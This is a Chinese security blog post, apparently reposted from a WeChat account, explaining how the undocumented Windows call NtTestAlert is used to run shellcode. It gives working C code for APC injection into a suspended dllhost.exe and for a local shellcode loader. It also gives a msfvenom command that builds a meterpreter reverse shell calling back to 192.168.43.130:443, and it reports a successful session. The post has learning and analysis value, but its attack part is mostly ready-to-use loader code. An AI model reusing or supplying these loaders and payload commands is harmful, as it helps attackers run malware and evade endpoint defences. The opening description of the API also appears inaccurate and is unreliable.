NtTestAlert,未公开的windows api函数,最近分析木马时发现在用。借着出差的机会,将这个函数用法再次熟悉下。
一、函数的官方解释
NtTestAlert 函数是 Windows API一部分,用于测试系统向应用程序生成异步过程调用 (APC) 的能力,它不接受参数并返回一个 NTSTATUS 值。调用时,NtTestAlert 将尝试向调用线程排队一个APC;如果APC成功排队,NtTestAlert将返回STATUS_SUCCESS。否则,它将返回一个错误代码,指示失败的原因。
APC 通常用于通知线程已发生需要它注意的事件。例如,APC 可用于通知线程新的 I/O 请求已到达或计时器已过期。NtTestAlert 可用于测试系统向线程排队 APC 的能力。这对于调试目的或性能调优非常有用。
简单用法:
#include <windows.h>
int main(){ NTSTATUS status; // 向当前线程排队一个 APC。 status = NtTestAlert();
if (status == STATUS_SUCCESS) printf("APC 已成功排队。n") elseprintf("APC 排队失败。错误代码:%dn", status); return0; }
二、了解在木马中的用法
这种类型的shellcode加载器,我印象中最早出现于2019年,现在2024年仍被木马使用,也是无语;但这种技术的优点是它不依赖于CreateThread或CreateRemoteThread,常见于apc注入,因此更易受AV/EDR的关注。
(1)基础版:
APC 注入的原理是利用当线程被唤醒时 APC 中的注册函数会被执行的机制,并以此去执行我们的 DLL 加载代码,进而完成 DLL 注入的目的,其具体流程如下:
1.当 EXE 里某个线程执行到 SleepEx() 或者 WaitForSingleob jectEx() 时,系统就会产生一个软中断。
2.当线程再次被唤醒时,此线程会首先执行 APC 队列中的被注册的函数。
3.利用 QueueUserAPC() 这个 API 可以在软中断时向线程的 APC 队列插入一个函数指针,如果我们插入的是 Loadlibrary() 执行函数的话,就能达到注入 DLL 的目的。
代码如下:
UINT shellcodeSize = sizeof(a);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\Windows\System32\dllhost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, a, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
while (1) {};
(2)增强版:
NtTestAlert 是一个未公开的 Win32 函数,该函数的效果是如果 APC 队列不为空的话,其将会直接调用函数 KiUserApcDispatcher 处理用户 APC,如此一来排入的 APC 可以立马得到运行。
原理:
-
使用
VirtualProtect
函数修改shellcode
所在内存区域的保护属性,将其设置为可执行、可读、可写(PAGE_EXECUTE_READWRITE
),以便执行其中的代码。 -
获取
NtTestAlert
函数的地址。这是一个内部函数,无法直接通过函数名调用。NtTestAlert
函数用于检查当前线程的 APC 队列。如果队列中有挂起的用户模式 APC 请求,NtTestAlert
将触发它们的执行。 -
使用
QueueUserAPC
函数向当前线程的 APC 队列添加一个执行 Shellcode 的任务。这将在NtTestAlert
被调用时执行 Shellcode。 -
调用
NtTestAlert
函数,触发 APC 队列中的任务执行,实现 Shellcode 的执行
实现代码
该代码通过在当前线程的 APC 队列中添加一个执行 Shellcode 的任务,并调用 NtTestAlert
函数触发 APC 队列中的任务执行,从而实现了加载并执行 Shellcode 的目的。
#include <Windows.h>typedef DWORD(WINAPI* pNtTestAlert)();unsignedchar shellcode[] ="";//shellcode代码
void ApcLoader() {
// 修改 shellcode 所在内存区域的保护属性,允许执行 DWORD oldProtect;
VirtualProtect((LPVOID)shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect); /* 获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用 这个函数用于检查当前线程的 APC(Asynchronous Procedure Call,异步过程调用)队列,如 果队列中有挂起的用户模式 APC 请求,NtTestAlert 将触发它们的执行 */ pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
// 向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)shellcode, GetCurrentThread(), NULL);
//调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode)NtTestAlert(); }
void main()
{ ApcLoader();}
三、测试例子
1、生成shellcode:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.43.130 lport=443 -f c
2、编译生成shellcode加载器exe:
#include "pch.h"
#include <Windows.h>
#pragma comment(lib, "ntdll")
using myNtTestAlert = NTSTATUS(NTAPI*)();
int main()
{
unsigned char buf[] = "";//这里加上上面生成的shellcode
myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
SIZE_T shellSize = sizeof(buf);
LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, shellSize, NULL);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
testAlert();
return 0;
}
3、在msf中作如下配置:进行监听
4、执行 shellcode加载器后,msf拿到meterpreter,
说明执行shellcode成功反弹了。
5、ida看下,
和源码一样;也看下汇编,感受下。
原文始发于微信公众号(MicroPest):NtTestAlert加载shellcode
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论